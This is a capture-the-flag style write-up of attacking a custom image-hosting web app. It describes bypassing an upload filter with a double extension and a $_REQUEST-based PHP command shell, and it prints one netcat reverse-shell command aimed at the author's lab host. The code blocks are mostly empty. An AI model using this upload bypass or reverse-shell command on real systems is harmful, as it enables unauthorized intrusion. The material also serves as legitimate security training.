Mission statement
The challenge includes an image hosting web service that has various design vulnerabilities. You must enumerate the various web service features and find an exploitable vulnerability in order to read system hidden files. The web application is 100% custom so do not try to search google for relative PoC exploit code.
FINAL GOAL: Reveal the hidden message for a date arrange that Bob sent to Alice.
Recon
Started with an Nmap scan, I only keep here the relevant output:
1 2 3 |
|
As you can see, the box is pretty tightly locked. Oh well, we knew from the challenge title that it was going to be web-based. So let’s see what’s on the web server
And on the Info tab there is this very appealing request to report any vulnerabilities we may find with the site:
Developer was really drunk while writting these code lines. Act like a pro and report any security flaws that you spotted around.
Exploit
First I uploaded a normal image which then gets displayed on the image.php page:
Next I uploaded a reverse PHP shell and changed the Content-Type header from application/x-php to image/png. This gave me an invalid file extension error. Then I tried again but this time I also changed the extension from PHP to PNG. Another error, saying “you’re naughty”. This error kept flagging all my other attempts (tried uploading with double extensions or keeping just the PNG magic number and rest PHP code). So I went back to the start and once again found out that something I had dismissed as unimportant would play an important role in exploiting the target.
When uploading a correct image, I noticed a cookie was set: trypios=246f7045b13ca34bd0fb443a038605de
. And when I looked at the image source, which I should have done in the first place, it looked like this: images/246f7045b13ca34bd0fb443a038605de.png
.
Now I know where to access my uploaded files, but I still couldn’t upload any PHP file. I remembered the mission briefing that stated this is a custom application and I thought there might be a filter that could catch the reverse shell, so I wrote a one line PHP script that simply echoes back a message. Thought it might be deemed harmless enough if there is a filter in place. And I finally managed to fool the application into uploading it by simply giving it a double extension of .png.php
(something that I had tried before with the reverse shell and it got caught).
However, after successfully uploading it, my “cool image” wasn’t displayed at all, and it didn’t exist in the source either. I navigated directly to where it should be (based on the cookie value), which in my case was at http://192.168.80.160:8880/images/178eaa4e889ab53ce844344ffc945171
And boom! The string “RCE possible” was displayed, which is exactly what I had my script outputting! The key takeaway here was that the file upload vulnerability was easily exploited by adding a double extension, but there was also a filter in place that flagged certain PHP code and prevented the upload. Because I could get code execution with a simple echo script, but not with the reverse shell.
With this information, I made another simple script to see if I can get command execution on the target:
1 2 3 |
|
When I tried uploading it…again the naughty message! Clearly some filtering is in place. I modified it again to:
1
|
|
It got uploaded without a problem and it displayed www-data when I went to it. So it appears that $GET triggered the filter. I tried again, this time with $REQUEST:
1
|
|
And the filter didn’t trigger! I went to it and passed the pwd command and success! It displayed /var/www/images. So command execution on the host finally achieved. I tweaked it a bit to give me a reverse shell, because it would be inconvenient to navigate the filesystem in its current state. So I had netcat listen on my 5555 port and then sent a shell from the remote host with cmd=nc -c /bin/sh 192.168.80.158 5555
Now that I’m the system, time to look around for the secret message:
1 2 3 4 5 6 7 8 |
|
I looked in Bob’s directory and found some PHP files but none contained any message. So I took a look at the /var/www
as well:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
|
A hidden proof file! Let’s see what’s in it:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
|
All right, found the right one! I tried to decode that string but didn’t get any intelligible output. This time though, all those PHP files that I found in bob’s home directory would come in handy! There is a public_html file in bob’s home with files that encrypt and decrypt passwords.
1 2 3 4 |
|
I copied the contents of the files to the /var/www/images directory and then I checked that index.php file:
But when I gave it the string TGglMUxecjJDSDclN1Ej
I got garbage. Now, one of the things I tried before was to base64 decode the string. The output I got was Lh%1Lr2CH7%7Q#
, which didn’t really help. Since I couldn’t decrypt the secret with the form either, I thought to double check what kind of encoding it might use. And because I was thinking base64 but not sure, I inspired myself from a Stack Overflow post to check if the string really is base64 in Python:
1 2 3 4 5 6 7 8 9 10 11 |
|
And the the script did return the same output that I had decoded earlier: Lh%1Lr2CH7%7Q#
. So this time, I tried to enter this string in the decrypt form..and the message was revealed!
Alice, prepare for a kinky night. Meet me at ‘35.517286’ ‘24.017637’
Yes! The message was decrypted and challenge completed! I was curious though and looked at the coordinates in Google Maps. It seems that Bob and Alice’s chosen place of fun is a location in Greece:
Before wrapping up, do you remember the upload filter that caught the malicious uploads and gave a naughty message? I took a peek at it and here’s the filter part:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
|
Nice twist on this file upload vulnerability!
Report
This was another interesting challenge that seemed straightforward at the beginning but required more trial and error to solve. The steps that led to the exploitation were:
server was vulnerable to unrestricted file upload that led to remote code execution
the filter that tried to protect against malicious code didn’t stop everything that an attacker could use
the hidden file was not so hidden in the /var/www directory
files in Bob’s home folder were readable, allowing the decryption of the secret message
The key takeaway for me was to start simple and build from there when testing stuff. I would have saved so much time if I had tried a simple PHP code execution test, instead of throwing reverse shells and scratching my head when it didn’t work
And today, instead of a cookie, I leave here the picture that gets displayed when you go to a non existent page on the server: